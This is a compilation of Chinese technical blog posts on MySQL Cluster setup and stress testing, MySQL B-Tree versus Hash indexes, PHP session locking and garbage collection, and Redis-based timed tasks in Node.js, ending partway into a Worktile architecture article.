2014-08-29 11:22:04 [MgmtSrvr] WARNING  -- at line 50: [tcp] PortNumber is deprecated


其中--initial指定初始化加载，每次修改管理节点的配置重启都需要加上，否则不会生效；-f指定管理节点的参数文件

确定ndb_mgm进程及端口号

# netstat -langput | grep mgm
tcp        0      0 0.0.0.0:1186                0.0.0.0:*                   LISTEN      3427/ndb_mgmd       
tcp        0      0 127.0.0.1:45251             127.0.0.1:1186              ESTABLISHED 3427/ndb_mgmd       
tcp        0      0 127.0.0.1:1186              127.0.0.1:45251             ESTABLISHED 3427/ndb_mgmd

其中1186是管理节点的服务端口

查看集群信息

#  ./ndb_mgm
-- NDB Cluster -- Management Client --
ndb_mgm> show
Connected to Management Server at: localhost:1186
Cluster Configuration
---------------------
[ndbd(NDB)]    2 node(s)
id=2 (not connected, accepting connect from 192.168.1.5)
id=3 (not connected, accepting connect from 192.168.1.6)

[ndb_mgmd(MGM)]    1 node(s)
id=1    @192.168.1.10  (mysql-5.5.27 ndb-7.2.8)

[mysqld(API)]    1 node(s)
id=4 (not connected, accepting connect from 192.168.1.2)

可以看到当前只有管理节点，其他节点还未启动。

数据节点和SQL节点配置

解压MySQLCluster软件到指定目录/usr/local，数据节点可以不用放在/usr/local目录下

添加用户及用户组

# groupadd mysql
# useradd -g mysql mysql


更改所属用户和组

# chown -R mysql:mysql mysql


安装数据库

# /usr/local/mysql/scripts/mysql_install_db --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data --user=mysql


拷贝配置文件


# cp /usr/local/mysql/support-files/my-medium.cnf /etc/my.cnf


修改配置文件

vim /etc/my.cnf

# Options for mysqld process:
[MYSQLD]                       
ndbcluster                      # run NDB engine
character_set_server=utf8
ndb-connectstring=198.168.1.10  # location of MGM node
 
# Options for ndbd process:
[MYSQL_CLUSTER]                 
ndb-connectstring=198.168.1.10  # location of MGM node


启动数据节点

# ./ndbd --initial
2014-08-29 14:04:54 [ndbd] INFO     -- Angel connected to '192.168.1.10:1186'
2014-08-29 14:04:54 [ndbd] INFO     -- Angel allocated nodeid: 2


启动SQL节点

# ./mysqld_safe --user=mysql &


SQL节点启动可以添加到系统服务

拷贝运行脚本，添加可执行权限

# cp support-files/mysql.server /etc/init.d/mysqld
# chmod +x /etc/init.d/mysqld

启动数据库

# service mysqld start
Starting MySQL....                                         [  OK  ]


查看集群信息

# ndb_mgm -e show
Cluster Configuration
---------------------
[ndbd(NDB)]    2 node(s)
id=2    @192.168.1.5  (mysql-5.5.27 ndb-7.2.8, Nodegroup: 0, Master)
id=3    @192.168.1.6  (mysql-5.5.27 ndb-7.2.8, Nodegroup: 0)

[ndb_mgmd(MGM)]    1 node(s)
id=1    @192.168.1.10  (mysql-5.5.27 ndb-7.2.8)

[mysqld(API)]    2 node(s)
id=4    @192.168.1.2  (mysql-5.5.27 ndb-7.2.8)
id=5    @192.168.1.11  (mysql-5.5.27 ndb-7.2.8)

可以看到当前所有节点均已启动

集群管理

查看集群内存使用情况

ndb_mgm> all report memoryusage;


关闭集群顺序：SQL节点->数据节点->管理节点    或者使用# ./ndb_mgm -e shutdown命令关闭集群

启动集群顺序: 管理节点->数据节点->SQL节点

验证测试

通过SQL节点（192.168.1.2记为SQL1/192.168.1.11记为SQL2）连入MySQL数据库

# ./mysql
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| ndbinfo            |
| performance_schema |
| test               |
+--------------------+
5 rows in set (0.04 sec)


修改密码


mysql> set password=password('root');


数据同步测试

连接SQL1，创建数据库dufu，创建成功

连接SQL2，查看到创建成功的数据库dufu

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| dufu               |
| mysql              |
| ndbinfo            |
| performance_schema |
| test               |
+--------------------+
6 rows in set (0.00 sec)


SQL1创建表，插入数据

mysql> use dufu;
Database changed

mysql> create table t(i int,name varchar(10)) engine=ndbcluster;
Query OK, 0 rows affected (0.22 sec)

mysql> insert into t values(1,'this_sql1');
Query OK, 1 row affected (0.01 sec)


SQL2查询

mysql> select * from t;
+------+-----------+
| i    | name      |
+------+-----------+
|    1 | this_sql1 |
+------+-----------+
1 row in set (0.01 sec)


通过以上测试，SQL集群数据是同步的。

可用性测试

关掉数据节点1或SQL节点1，看集群是否能够正常工作
经过测试，关闭冗余节点不会对MySQL集群造成影响，失败节点重新启动后会再次加入加群。可以通过管理节点查看到各个节点的状态

遇到的问题

以上测试只是针对MySQLCluster简单的验证测试，后面我们组织了一次更大压力的测试，400～1000并发，每个连接执行100次循环，每个查询约有5000条数据，同时执行进行的读操作在40000～100000之间，出现了很多问题。

首先是数据节点启动问题：

Ndb kernel thread 4 is stuck in: Job Handling elapsed=100 Watchdog: User time: 82 System time: 667 
Ndb kernel thread 4 is stuck in: Job Handling elapsed=200
Watchdog: User time: 82 System time: 668 
Ndb kernel thread 4 is stuck in: Job Handling elapsed=300 Watchdog: User time: 82 System time: 669 
Ndb kernel thread 4 is stuck in: Job Handling elapsed=400 Watchdog: User time: 82 System time: 670


内存不够或者datamemory、indexmemory设置过大、maxnooflocalscans设置过大导致，通过增大服务器硬件资源以及调大内存设置大小解决。

并发加大后出现：


too many connections


SQL节点的max_connections默认参数为150，调整该参数大小为1000解决。

并发加大后出现：

ERROR 1205 (HY000) at line 10208: Lock wait timeout exceeded; try restarting transaction

TransactionDeadlockDetectionTimeout默认只有1200，调整该参数为10000后解决。调整完后需要重启集群

并发加到1000后，错误率急剧上升，出现：

got temporary error 245 'too many active scans' from ndbcluster


NaxNoOfConcurrentScans参数太小，默认最大为500.调整为500后，还是继续报错-_-！，可能与MaxNoOfLocalScans参数有关。

更新操作，并发加到1000后，出现：

ERROR 1297 (HY000): Got temporary error 410 'REDO log files overloaded (decrease TimeBetweenLocalCheckpoints or increase NoOfFragmentLogFiles)' from NDBCLUSTER

改错表示redo日志可能太小，需要调整redo日志大小，设置TimeBetweenLocalCheckpoints=30
NoOfFragmentLogFiles=128（还未试验）


 B-Tree索引与Hash索引的比较

作者：FullStackDeveloper

来源： B-Tree索引与Hash索引的比较



                    
B-Tree索引与Hash索引的比较

翻译自http://dev.mysql.com/doc/refman/5.6/en/index-btree-hash.html



理解B-Tree和Hash的数据结构能够帮助我们预测不同存储引擎下的查询性能差异。存储引擎在索引中使用这些数据结构，尤其是MEMORY 同时提供了B-Tree和Hash索引让你选择。

B-Tree索引特性



B-Tree索引可以在表达式中使用=, >, >=, <, <=用作列比较或者 BETWEEN 运算符。还能使用LIKE比较，如果参数是一个不以通配符开头的常量。举个例子，下面的SELECT语句使用了索引：

SELECT * FROM tbl_name WHERE key_col LIKE 'Patrick%';
SELECT * FROM tbl_name WHERE key_col LIKE 'Pat%_ck%';


第一条语句中，只有'Patrick' <= keycol < 'Patricl' 的行会被考虑。第二条语句中，只有'Pat' <= keycol < 'Pau' 的行会被考虑。

下面的SELECT语句没有使用索引：


SELECT * FROM tbl_name WHERE key_col LIKE '%Patrick%';
SELECT * FROM tbl_name WHERE key_col LIKE other_col;


第一条语句是因为它以通配符开头，第二条语句是因为没有使用常量。

如果你使用... LIKE '%string%'而且string超过三个字符，那么MYSQL会使用Turbo Boyer-Moore algorithm算法来初始化查询表达式，然后用这个表达式来让查询更迅速。

查询中有colname IS NULL可以使用colname索引。

任何一个没有覆盖所有WHERE中AND级别条件的索引是不会被使用的。也就是说，要使用一个索引，这个索引中的第一列需要在每个AND组中出现。

下面的WHERE条件会使用索引：

... WHERE index_part1=1 AND index_part2=2 AND other_column=3

    /* index = 1 OR index = 2 */
... WHERE index=1 OR A=10 AND index=2

    /* optimized like "index_part1='hello'" */
... WHERE index_part1='hello' AND index_part3=5

    /* Can use index on index1 but not on index2 or index3 */
... WHERE index1=1 AND index2=2 OR index1=3 AND index3=3;


下面的WHERE条件不会使用索引：

    /* index_part1 is not used */
... WHERE index_part2=1 AND index_part3=2

    /*  Index is not used in both parts of the WHERE clause  */
... WHERE index=1 OR A=10

    /* No index spans all rows  */
... WHERE index_part1=1 OR index_part2=10


有时候mysql不会使用索引，即使在可用的情况下。例如当mysql预估使用索引会读取大部分的行数据时。（在这种情况下，一次全表扫描可能比使用索引更快，因为它需要更少的检索）。然而，假如语句中使用LIMIT来限定返回的行数，mysql则会使用索引。因为当结果行数较少的情况下使用索引的效率会更高。

Hash索引特性



Hash类型的索引有一些区别于以上所述的特征：


	它们只能用于对等比较，例如=和<=>操作符（但是快很多）。它们不能被用于像<这样的范围查询条件。假如系统只需要使用像“键值对”的这样的存储结构，尽量使用hash类型索引。


	优化器不能用hash索引来为ORDER BY操作符加速。（这类索引不能被用于搜索下一个次序的值）


	MySQL不能判断出两个值之间有多少条数据（这需要使用范围查询操作符来决定使用哪个索引）。假如你将一个MyISAM表或InnoDB表转为一个依靠hash索引的MEMORY表，这可能会影响一些查询。


	只有完整的键才能被用于搜索一行数据（使用了B-Tree索引，那么任何一个键的前缀都可以用于查找）。





 关于 PHP 中 Session 的几个问题

作者：Mr_Jing

来源： 关于 PHP 中 Session 的几个问题



                    
什么是 Session


在 web 应用开发中，Session 被称为会话。主要被用于保存某个访问者的数据。

由于 HTTP 无状态的特点，服务端是不会记住客户端的，对服务端来说，每一个请求都是全新的。

既然如此，那么服务端怎么知道是哪个访问者在请求它呢？又如何将不同的数据对应上正确的访问者？答案是，给访问者一个唯一获取 Session 中数据的身份标示。


打个比方：当我们去超市购物时，被保安告之我们是不能带物品进去的，必须将物品寄放在超市的储物箱中。我们把物品交给了他，他怎么知道这些物品谁是谁的，于是他给了我们不同的钥匙。当我们要取走我们的物品时，用唯一的钥匙打开对应的箱子即可。


就如同上面的比方一样，可以将 Session 理解为存放我们数据的“箱子”，当然，这些“箱子”都在服务端那。服务器给访问者唯一的“钥匙”，这个“钥匙”被称作 session_id。访问者凭借自己的 session_id，就能获取到自己存在服务器端的数据。


session_id 通过两种方式传给访问者（客户端）：URL 或 cookie。详情参见：传送会话ID


Session 和 Cookie 有什么关系


Cookie 也是由于 HTTP 无状态的特点而产生的技术。也被用于保存访问者的身份标示和一些数据。每次客户端发起 HTTP 请求时，会将 Cookie 数据加到 HTTP header 中，提交给服务端。这样服务端就可以根据 Cookie 的内容知道访问者的信息了。

可以说，Session 和 Cookie 做着相似的事情，只是 Session 是将数据保存在服务端，通过客户端提交来的 session_id 来获取对应的数据；而 Cookie 是将数据保存在客户端，每次发起请求时将数据提交给服务端的。


上面提到，session_id 可以通过 URL 或 cookie 来传递，由于 URL 的方式比 cookie 的方式更加不安全且使用不方便，所以一般是采用 cookie 来传递 session_id。

服务端生成 session_id，通过 HTTP 报文发送给客户端（比如浏览器），客户端收到后按指示创建保存着 session_id 的 cookie。cookie 是以 key/value 形式保存的，看上去大概就这个样子的：PHPSESSID=e4tqo2ajfbqqia9prm8t83b1f2。在 PHP 中，保存 session_id 的 cookie 名称默认叫作 PHPSESSID，这个名称可以通过 php.ini 中 session.name 来修改，也可以通过函数 session_name() 来修改。


为什么不推荐使用 PHP 自带的 files 型 Session 处理器


在 PHP 中，默认的 Session 处理器是 files，处理器可以用户自己实现（参见：自定义会话管理器）。我知道的成熟的 Session 处理器还有很多：Redis、Memcached、MongoDB……

为什么不推荐使用 PHP 自带的 files 类型处理器，PHP 官方手册中给出过这样一段 Note：



  无论是通过调用函数 session_start() 手动开启会话， 还是使用配置项 session.auto_start 自动开启会话， 对于基于文件的会话数据保存（PHP 的默认行为）而言， 在会话开始的时候都会给会话数据文件加锁， 直到 PHP 脚本执行完毕或者显式调用 session_write_close() 来保存会话数据。 在此期间，其他脚本不可以访问同一个会话数据文件。




上述引用参见：Session 的基本用法


为了证明这段话，我们创建一下 2 个文件：

文件：session1.php


php<?php
session_start();

sleep(5);

var_dump($_SESSION);
?>



文件：session2.php


php<?php
session_start();

var_dump($_SESSION);
?>



在同一个浏览器中，先访问 http://127.0.0.1/session1.php，然后在当前浏览器新的标签页立刻访问 http://127.0.0.1/session2.php。实验发现，session1.php 等了 5 秒钟才有输出，而 session2.php 也等到了将近 5 秒才有输出。而单独访问 session2.php 是秒开的。在一个浏览器中访问 session1.php，然后立刻在另外一个浏览器中访问 session2.php。结果是 session1.php 等待 5 秒钟有输出，而 session2.php 是秒开的。


分析一下造成这个现象的原因：上面例子中，默认使用 Cookie 来传递 session_id，而且 Cookie 的作用域是相同。这样，在同一个浏览器中访问这 2 个地址，提交给服务器的 session_id 就是相同的（这样才能标记访问者，这是我们期望的效果）。当访问 session1.php 时，PHP 根据提交的 session_id，在服务器保存 Session 文件的路径（默认为 /tmp，通过 php.ini 中的 session.save_path 或者函数 session_save_path() 来修改）中找到了对应的 Session 文件，并对其加锁。如果不显式调用 session_write_close()，那么直到当前 PHP 脚本执行完毕才会释放文件锁。如果在脚本中有比较耗时的操作（比如例子中的 sleep(5)），那么另一个持有相同 session_id 的请求由于文件被锁，所以只能被迫等待，于是就发生了请求阻塞的情况。


既然如此，在使用完 Session 后，立刻显示调用 session_write_close() 是不是就解决问题了哩？比如上面例子中，在 sleep(5) 前面调用 session_write_close()。

确实，这样 session2.php 就不会被 session1.php 所阻塞。但是，显示调用了  session_write_close() 就意味着将数据写到文件中并结束当前会话。那么，在后面代码中要使用 Session 时，必须重新调用 session_start()。


例如：


php<?php
session_start();
$_SESSION['name'] = 'Jing';
var_dump($_SESSION);
session_write_close();

sleep(5);

session_start();
$_SESSION['name'] = 'Mr.Jing';
var_dump($_SESSION);
?>



官方给出的方案：



  对于大量使用 Ajax 或者并发请求的网站而言，这可能是一个严重的问题。 解决这个问题最简单的做法是如果修改了会话中的变量， 那么应该尽快调用 session_write_close() 来保存会话数据并释放文件锁。 还有一种选择就是使用支持并发操作的会话保存管理器来替代文件会话保存管理器。




我推荐的方式是使用 Redis 作为 Session 的处理器。


拓展阅读：


为什么不能用 memcached 存储 Session


如何使用 Redis 作为 PHP Session handler


Session 数据是什么时候被删除的


这是一道经常被面试官问起的问题。


先看看官方手册中的说明：



  session.gc_maxlifetime 指定过了多少秒之后数据就会被视为"垃圾"并被清除。 垃圾搜集可能会在 session 启动的时候开始（ 取决于 session.gc_probability 和 session.gc_divisor）。 session.gc_probability 与 session.gc_divisor 合起来用来管理 gc（garbage collection 垃圾回收）进程启动的概率。此概率用 gc_probability/gc_divisor 计算得来。例如 1/100 意味着在每个请求中有 1% 的概率启动 gc 进程。session.gc_probability 默认为 1，session.gc_divisor 默认为 100。




继续用我上面那个不太恰当的比方吧：如果我们把物品放在超市的储物箱中而不取走，过了很久（比如一个月），那么保安就要清理这些储物箱中的物品了。当然并不是超过期限了保安就一定会来清理，也许他懒，又或者他压根就没有想起来这件事情。


再看看两段手册的引用：



  如果使用默认的基于文件的会话处理器，则文件系统必须保持跟踪访问时间（atime）。Windows FAT 文件系统不行，因此如果必须使用 FAT 文件系统或者其他不能跟踪 atime 的文件系统，那就不得不想别的办法来处理会话数据的垃圾回收。自 PHP 4.2.3 起用 mtime（修改时间）来代替了 atime。因此对于不能跟踪 atime 的文件系统也没问题了。





  GC 的运行时机并不是精准的，带有一定的或然性，所以这个设置项并不能确保旧的会话数据被删除。某些会话存储处理模块不使用此设置项。




对于这种删除机制，我是存疑的。


比如 gc_probability/gc_divisor 设置得比较大，或者网站的请求量比较大，那么 GC 进程启动就会比较频繁。

还有，GC 进程启动后都需要遍历 Session 文件列表，对比文件的修改时间和服务端的当前时间，判断文件是否过期而决定是否删除文件。

这也是我觉得不应该使用 PHP 自带的 files 型 Session 处理器的原因。而 Redis 或 Memcached 天生就支持 key/value 过期机制的，用于作为会话处理器很合适。或者自己实现一个基于文件的处理器，当根据 session_id 获取对应的单个 Session 文件时判断文件是否过期。


为什么重启浏览器后 Session 数据就取不到了



  session.cookie_lifetime 以秒数指定了发送到浏览器的 cookie 的生命周期。值为 0 表示"直到关闭浏览器"。默认为 0。




其实，并不是 Session 数据被删除（也有可能是，概率比较小，参见上一节）。只是关闭浏览器时，保存 session_id 的 Cookie 没有了。也就是你弄丢了打开超市储物箱的钥匙（session_id）。


同理，浏览器 Cookie 被手动清除或者其他软件清除也会造成这个结果。


为什么浏览器开着，我很久没有操作就被登出了


这个是称为“防呆”，为了保护用户账户安全的。


这个小节放进来，是因为这个功能的实现可能和 Session 的删除机制有关（之所以说是可能，是因为这个功能不一定要借住 Session 实现，用 Cookie 也同样可以实现）。

说简单一点，就是长时间没有操作，服务端的 Session 文件过期被删除了。


一个有意思的事情


在我试验的过程中，发现了小有意思的事情：我把 GC 启动的概率设置为 100%。如果只有一个访问者请求，该访问者即使过了很久（超过了过期时间）后才发起第二次请求，那么 Session 数据也还是存在的（'session.save_path' 目录下面的 Session 文件存在）。是的，明明就超过了过期时间，却没有被 GC 删除。这时，我用另外一个浏览器访问时（相对于另一个访问者），这次请求生成了新的 Session 文件，而上一个浏览器请求生成的那个 Session 文件终于没有了（之前那个 Session 文件在 'session.save_path' 目录下面的消失了）。


还有，发现 Session 文件被删除后，再次请求，还是会生成和之前文件名相同的 Session 文件（因为浏览器并没有关闭，再次请求发送的 session_id 是相同的，所以重新生成的 Session 文件的文件名还是一样的）。但是，我不理解的是：这个重新出现的文件的创建时间竟然是第一次的那个创建时间，难道它是从回收站中回来的？（确实，我做这个试验时是在 window 下进行的）


我猜测的原因是这样：当启动会话后，PHP 根据 session_id 找到并打开了对应的 Session 文件，然后才启动 GC 进程。GC 进程就只检查除了当前这个 Session 文件外的其他文件，发现过期的就干掉。所有，即使当前这个 Session 文件已经过期了，GC 也没有删除它。


我认为这个不合理的。


由于发生这种情况影响也不大（毕竟线上请求很多，当前请求的过期文件被其他请求唤起的 GC 干掉的可能性是比较大的） + 我没有信心去看 PHP 源代码 + 我并不在线上使用 PHP 自带的 files 型 Session 处理器。所以，这个问题我就没有深入研究了。请谅解。


php<?php
// 过期时间设置为 30 秒
ini_set('session.gc_maxlifetime', '30');

// GC 启动概率设置为 100%
ini_set('session.gc_probability', '100');
ini_set('session.gc_divisor', '100');

session_start();
$_SESSION['name'] = 'Jing';

var_dump($_SESSION);
?>




拓展阅读：


如何设置一个严格 30 分钟过期的 Session


 Node.js 中使用 Redis 来实现定时任务

作者：XadillaX

来源： Node.js 中使用 Redis 来实现定时任务



                    

  原文链接：http://xcoder.in/2015/06/05/scheduled-task-using-redis/




好久没写博文了，最近在跟随着公司大牛们的脚步秘密研发新产品中。


不过前几天有一个小需求的东西可以提出来写一点点小干货儿跟大家分享分享。米娜桑会的就可以忽略了，反正我也是随便写的；如果觉得本文对你有用的话还请多多支持喵。(●´ω｀●)ゞ


序


本文所说的定时任务或者说计划任务并不是很多人想象中的那样，比如说每天凌晨三点自动运行起来跑一个脚本。这种都已经烂大街了，随便一个 Crontab 就能搞定了。


这里所说的定时任务可以说是计时器任务，比如说用户触发了某个动作，那么从这个点开始过二十四小时我们要对这个动作做点什么。那么如果有 1000 个用户触发了这个动作，就会有 1000 个定时任务。于是这就不是 Cron 范畴里面的内容了。


举个最简单的例子，一个用户推荐了另一个用户，我们定一个二十四小时之后的任务，看看被推荐的用户有没有来注册，如果没注册就给他搞一条短信过去。Σ>―(〃°ω°〃)♡→


最初的设想


一开始我是想把这个计时器做在内存里面直接调用的。


考虑到 Node.js 的定时并不是那么准确（无论是 setTimeout 还是 setInterval），所以本来打算自己维护这个定时器队列。


又考虑到 Node.js 原生对象比较耗内存。之前我用 JSON 对象存了一本字典，约十二万多的词条，原文件大概也就五六兆，用 Node.js 的原生对象一存居然有五六百兆的内存占用——所以打算这个定时器队列用 C++ 来写 addon。


考虑到任何时候插入的任务都有可能在已有的任务之前或者之后，所以本来想用 C++ 来写一个小根堆。每次用户来一个任务的时候就将这个任务插入到堆中。


如果按照上述方法的话，再加上对时间要求掐得也不是那么紧，于是就是一个不断的 process.nextTick() 的过程。


在 process.nextTick() 当中执行这么一个函数：



	从小根堆中不断获取堆顶的任务并处理，一直处理到堆顶任务的执行时间大于当前时间为止。

	继续 process.nextTick() 来让下一个 tick 执行步骤 1 中的流程。



所以最后就是一边往小根堆插入任务，另一边通过不断 process.nextTick() 消费任务的这么一个过程。


最后，为了考虑到程序重启的时候内存数据会丢失，还应该做一个持久化的事情——在每次插入任务的时候顺便往持久化中间件中插一条副本，比如 MySQL、MongoDB、Redis、Riak 等等任何三方依赖。消费任务的时候顺便把中间件中的这条任务数据给删除。


也就是说中间件中永远存的就是当前尚未完成的任务。每当程序重启的时候都先从中间件中把所有任务读取进来重建一下堆，然后就能继续工作了。



  如果当时我没有发现 Redis 的这个妙用的话，上述的流程将会是我实现我们定时任务的流程了。




Redis 妙用


在 Redis 的 2.8.0 版本之后，其推出了一个新的特性——键空间消息（Redis Keyspace Notifications），它配合 2.0.0 版本之后的 SUBSCRIBE 就能完成这个定时任务的操作了，不过定时的单位是秒。


Publish / Subscribe


Redis 在 2.0.0 之后推出了 Pub / Sub 的指令，大致就是说一边给 Redis 的特定频道发送消息，另一边从 Redis 的特定频道取值——形成了一个简易的消息队列


比如我们可以往 foo 频道推一个消息 bar，那么就可以直接：


PUBLISH foo bar



另一边我们在客户端订阅 foo 频道就能接受到这个消息了。


举个例子，如果在 Node.js 里面使用 ioredis 这个包那么看起来就会像这样：


javascriptvar Redis = require("ioredis");
var sub = new Redis(/** 连接信息 */);
sub.once("connect", function() {
    // 假设我们需要选择 redis 的 db，因为实际上我们不会去污染默认的 db 0
    sub.select(DB_NUMBER, function(err) {
        if(err) process.exit(4);
        sub.subscribe("foo", function() {
            //... 订阅频道成功
        });
    });
});

// 监听从 `foo` 来的消息
sub.on("message", function(channel, msg) {
    console.log(channel, msg);
});



Redis Keyspace Notifications


在 Redis 里面有一些事件，比如键到期、键被删除等。然后我们可以通过配置一些东西来让 Redis 一旦触发这些事件的时候就往特定的 Channel 推一条消息。


本文所涉及到的需求的话我们所需要关心的事件是 EXPIRE 即过期事件。


大致的流程就是我们给 Redis 的某一个 db 设置过期事件，使其键一旦过期就会往特定频道推消息，我在自己的客户端这边就一直消费这个频道就好了。


以后一来一条定时任务，我们就把这个任务状态压缩成一个键，并且过期时间为距这个任务执行的时间差。那么当键一旦到期，就到了任务该执行的时间，Redis 自然会把过期消息推去，我们的客户端就能接收到了。这样一来就起到了定时任务的作用。


消息类型


当达到一定条件后，有两种类型的这种消息会被触发，用哪个需要自己选了。举个例子，我们删除了在 db 0 中一个叫 foo 的键，那么系统会往两个频道推消息，一个是 del 事件频道推 foo 消息，另一个是 foo 频道推 del 消息，它们小俩口被系统推送的指令分别等价于：


PUBLISH __keyspace@0__:foo del
PUBLISH __keyevent@0__:del foo



其中往 foo 推送 del 的频道名为 __keyspace@0__:foo，即是 "__keyspace@" + DB_NUMBER + "__:" + KEY_NAME；而 del 的频道名为 "__keyevent@" + DB_NUMBER + "__:" + EVENT_NAME。


配置


即使你的 Redis 版本达标了，但是 Redis 默认是关闭这个功能的，你需要修改配置文件来打开它，或者直接在 CLI 里面通过指令修改。这里就说说配置文件的修改吧。


如果不想看我在这里罗里吧嗦的，也可以直接去看 Redis 的相关文档。


首先打开 Redis 的配置文件，在不同的系统和安装方式下文件位置可能不同，比如通过 brew 安装的 MacOS 下可能是在 /usr/local/etc/redis.conf 下面，通过 apt-get 安装的 Ubuntu 下可能是在 /etc/redis/redis.conf 下，总之找到配置文件。或者自己写一个配置文件，启动的时候指定配置文件地址就好。


然后找到一项叫 notify-keyspace-events 的地方，如果找不到则自行添加，其值可以是 Ex、Klg 等等。这些字母的具体含义如下所示：



	
K，表示 keyspace 事件，有这个字母表示会往 __keyspace@<db>__ 频道推消息。

	
E，表示 keyevent 事件，有这个字母表示会往 __keyevent@<db>__ 频道推消息。

	
g，表示一些通用指令事件支持，如 DEL、EXPIRE、RENAME 等等。

	
$，表示字符串（String）相关指令的事件支持。

	
l，表示列表（List）相关指令事件支持。

	
s，表示集合（Set）相关指令事件支持。

	
h，哈希（Hash）相关指令事件支持。

	
z，有序集（Sorted Set）相关指令事件支持。

	
x，过期事件，与 g 中的 EXPIRE 不同的是，g 的 EXPIRE 是指执行 EXPIRE key ttl 这条指令的时候顺便触发的事件，而这里是指那个 key 刚好过期的这个时间点触发的事件。

	
e，驱逐事件，一个 key 由于内存上限而被驱逐的时候会触发的事件。

	
A，g$lshzxe 的别名。也就是说 AKE 的意思就代表了所有的事件。



结合上述列表我们就能拼凑出自己所需要的事件支持字符串了，在我的需求中我只需要 Ex 就可以满足了，所以配置项就是这样的：


notify-keyspace-events Ex



然后保存配置文件，启动 Redis 就启用了过期事件的支持了。


实践


我们先说任务的创造者吧。由于这里 Redis 的事件只会传键名，并不会传键值，而过期事件触发的时候那个键已经没了，你也无法获取键值，加上我的主系统和任务系统是分布式的，所以就把所有需要的信息往键名塞。


一个最简单的键名设计就是 任务类型 + ":" + JSON.stringify 化后的参数数组；更有甚者可以直接把任务类型替换成所需的函数路径，比如需要执行这个任务的函数在 task/foo/bar 文件下面的 baz 函数，参数 arguments 数组为 [ 1, 2 ]，那么键名的设计可以是 task/foo/bar.baz:[1,2]，反正我们只需要触发这个键，用不着去查询这个键。等到真正过期了任务系统接收到这个键名的时候再一一解析，得到需要执行 task/foo/bar.baz 这个消息，并且网函数里面传入 [1,2] 这个 arguments。


所以当接收到一个定时任务的时候，我们得到消息、函数名、过期时间参数，这个函数可以如下设计：


javascript/** 我们假设 redis 是一个 ioredis 的对象 */

var sampleTaskMaker = function(message, func, timeout) {
    message = JSON.stringify(message);
    console.log("Received a new task:", func, message, "after " + timeout + ".");

    // 这里的 uuid 是 npm 一个包
    // 生成一个唯一 uuid 的目的是为了防止两个任务用了相同的函数和参数，那么
    // 键名可能会重复并覆盖的情况
    // uuid 的文档为 https://www.npmjs.com/package/node-uuid
    //
    // 这里的 ❤️ 是一个分隔符，冒号是分割 uuid 和后面内容的，而 ❤️ 是分割函数名
    // 和消息的
    var key = uuid.v1().replace(/-/g, "") +
        ":❤️" + func + "❤️" + message;
    var content = "";

    redis.multi()
        .set(key, content)
        .expire(key, timeout)
        .exec(function(err) {
            if(err) {
                console.error("Failed to publish EXPIRE EVENT for " + content);
                console.error(err);
                return;
            }
        });
};




  Ioredis 的稳定可以点此查看。




然后在任务系统里面的一开始监听这个过期频道：


javascript// assign 是 sugarjs 里面的函数
// 把 db 塞到字符串里面的 {db} 里去
var subscribeKey = "__keyevent@{db}__:expired".assign({ db: 1 });

// 假设 sub 是 ioredis 的对象
sub.once("connect", function() {
    // 假设我们需要选择 redis 的 db，因为实际上我们不会去污染默认的 db 0
    sub.select(1, function(err) {
        if(err) process.exit(4);
        sub.subscribe("foo", function() {
            //... 订阅频道成功
        });
    });
});

// 监听从 `foo` 来的消息
sub.on("message", sampleOnExpired);




  注意： 我们这里选择 db 1 是因为一旦开启过期事件监听，那么这个 db 的所有过期事件都会被发送。为了不跟正常使用的 redis 过期键混淆，我们为这个事情专门用一个新的 db。比如我们在自己正常使用的 db 0 里面监听了，那么不是我们任务触发的过期事件也会传过来，这个时候我们解析的键名就不对了。




最后就是我们的 sampleOnExpired 函数了。


javascriptvar sampleOnExpired = function(channel, key) {
    // UUID:❤️func❤️params
    var body = key.split("❤️");
    if(body.length < 3) return;

    // 取出 body 第一位为 func
    var func = body[1];

    // 推出前两位，后面剩下的有可能是参数里面自带 ❤️ 而被分割，所以要拼回去
    body.shift(); body.shift();
    var params = body.join("❤️");

    // 然后把 params 传入 func 去执行
    // func:
    //   path1/path2.func
    func = func.split(".");
    if(func.length !== 2) {
        console.error("Bad params for task:", func.join("."), "-", params);
        return;
    }

    var path = func[0];
    func = func[1];

    var mod;
    try {
        mod = require("./tasks/" + path);
    } catch(e) {
        console.error("Failed to load module", path);
        console.error(e.stack);
        return;
    }

    process.nextTick(function() {
        try {
            mod[func].apply(null, JSON.parse(params));
        } catch(e) {
            console.error("Failed to call function", path, "-", func, "-", params);
            console.error(e.stack);
        }
    });
};



这个简易的架子搭好后，你只需要去写一堆任务执行函数，然后在生成任务的时候把相应参数传给 sampleTaskMaker 就好了。Redis 会自动过期并且触发事件给你的 sampleOnExpired 函数，然后就会去执行相应的任务处理函数了。


小结


其实这个需求在我们项目目前就是给用户定时发提醒短信用的。如果没有发现 Redis 的这个妙用，我还是会去用第二节里面的方法来写的。其实这期间也有考虑过用 RabbitMQ，不过貌似它的定时消息需要做一些 Hack，比较麻烦，最后就放弃了。


Redis 的这个方法其实是我在谷歌搜出来的，别人在 StackOverflow 回答的答案。我参考了之后用我自己的方法实现了出来，并且把代码的关键部分提取出来整理成这篇小文，还希望能给各位看官一些用吧，望打赏。


如果没有什么用也憋喷我，毕竟我是个蒟蒻。有更好的方法希望留个言，望告知。谢谢。(´,,•ω•,,)♡
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Worktile自上线两年多以来，以良好的用户体验和稳定的服务，获得了用户的认可和喜爱。截止笔者写这篇文章的时候，已经有超过10万家团队在使用Worktile。作为团队协作工具，从技术上分析首先要解决如下几个问题：



	基于Web的跨平台设计，让用户在任何地方都可以随时通过浏览器访问

	Web形态的产品要具有原生客户端的体验，如任务的拖拽等

	具有高效的实时消息系统，每个团队成员在Worktile中所做的任何操作，都要实时在其他成员的客户端中自动刷新

	服务要稳定，稳定压倒一切 



那么Worktile是如何做到这几点的？今天笔者在这篇文章里一一为大家揭秘。


SPA设计


先来说说Worktile中SPA（单页应用程序）设计，作为团队协作工具，需要尽可能减少用户在不同页面之间的跳转，所以从一开始我们就决定Worktile必须是单页应用程序，当时面临的选择有很多，首先我们考虑使用大名鼎鼎的Backbone.js，但是很快又抛弃了，因为在实际使用中Backbone.js太复杂，另一方面开发效率太低，最终我们选择了Google出品的AngularJs，下面这幅图是AngularJS的结构图：





选择它主要基于以下几点考虑：



	
